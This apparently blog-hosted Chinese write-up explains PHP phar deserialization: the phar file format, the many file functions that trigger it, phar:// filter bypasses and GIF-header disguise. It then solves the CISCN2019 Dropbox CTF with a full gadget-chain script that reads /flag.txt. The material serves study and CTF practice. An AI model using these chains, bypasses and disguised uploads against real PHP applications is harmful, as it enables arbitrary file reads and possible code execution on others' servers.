0x00 phar反序列化

phar反序列化即在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

关于其他反序列化的总结,可以看我的这篇文章

0x01 原理

首先了解一下phar文件的结构,一个phar文件由四部分构成:

  • a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    在这里插入图片描述

  • the file contents:被压缩文件的内容。

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾


0x02 demo

注意:如果想要生成Phar文件,要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

<?php
    class Test {}
    $o = new Test();
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

可以看到meta-data是以序列化的形式存储的:

在这里插入图片描述


0x03 影响的函数

知道创宇的seaii 更为我们指出了所有文件函数均可使用:

在这里插入图片描述

但实际上只要调用了php_stream_open_wrapper的函数,都存在这样的问题。

因此还有如下函数:

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers
  • mime_content_type

standard

  • getimagesize
  • getimagesizefromstring

finfo

  • finfo_file
  • finfo_buffer

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再配置一下mysqld。(非默认配置)

[mysqld]
local-infile=1
secure_file_priv=""


0x04 Trick

(1)如果过滤了phar://协议怎么办呢?

有以下几种方法可以绕过:

  • compress.bzip2://phar://

  • compress.zlib://phar:///

  • php://filter/resource=phar://


(2)除此之外,我们还可以将phar伪造成其他格式的文件。

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。如下:

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

可以看到加了GIF89a文件头,从而使其伪装成gif文件:

在这里插入图片描述

0x05 实例分析

CISCN2019 Dropbox

进入题目后,注册一个账号并登录,发现是一个网盘界面,限制了只能上传图片后缀,并能进行下载、删除操作:

在这里插入图片描述

没有其他什么利用点,我们抓一下下载的包:

在这里插入图片描述

发现可以成功读取到文件的内容,于是尝试任意文件下载:

在这里插入图片描述

确认存在任意文件下载,upload.phpclass.phpdownload.phpindex.phplogin.phpregister.php均可以下载得到源码,下面就是进行代码审计了。

//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
=

download.php中我们可以看到它过滤了flag,这反而说明了flag就在当前目录下,但是不允许通过任意文件下载读取。

继续审计,发现在class.phpFile类的close方法有敏感函数file_get_contents(),这里应该就是利用点。

//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {//$func = close()
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
            //$file->close()   $file = new File;
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

下面要思考的就是如何才能利用到这个函数,看到这些类以及魔术方法,不难想到应该是使用PHP反序列化来读取文件。

但是发现整个代码里没有使用unserialize()函数,这时就要利用上面的Phar反序列化,我们寻找利用点。

delete.php中:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

可以看到创建了一个File类的对象,然后调用了open()方法,参数就是我们要删除的文件名,我们去看一下这个open()方法:

public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

使用了file_exists()is_dir()处理了filename,而前面总结过,这两个函数都可以造成phar反序列化。

这样这题的思路就清楚了,即利用phar反序列化控制file_get_contents来读取flag.txt

于是我们来审计class.php构造序列化脚本,首先找一下有哪些魔术方法,看到User类中__destruct()调用了同名的close()方法,而FileList类中有__call()方法。

熟悉反序列化的应该很容易看出来:将User类的$db实例化为FIleLise的对象,这样当析构函数被调用的时候,就会调用FileList类的close()方法,而FileList类并没有该方法,于是调用__call()方法,观察一下__call方法:

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

调用后相当于把close传给了参数$func,然后遍历$files分别调用每个值的$func()方法,这里也就是调用close(),并将结果赋给result
所以只需要$files里有一个File类的对象,就能调用File类中的close()方法了,再将File类的filename赋为/flag.txt即可将结果读出来,然后在FileList类的__destruct()方法中会result的结果打印出来。

最终脚本如下:

<?php

class User
{
    public $db;

    public function __construct()
    {
        $this->db = new FileList;
    }
}

class FileList
{
    private $files;
    private $results;
    private $funcs;

    public function __construct()
    {
        $file = new File;
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

class File
{
    public $filename;
    public function __construct()
    {
        $this->filename = '/flag.txt';
    }
}

$o = new User();
@unlink("shell.phar");
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

运行得到shell.phar,改后缀为png上传:

在这里插入图片描述

在删除的时候抓包,并加上phar://伪协议,然后发包即可成功读到flag:

在这里插入图片描述



本篇文章以总结为主,所以部分内容参考了下列文章:
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6057



CTF      CTF

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!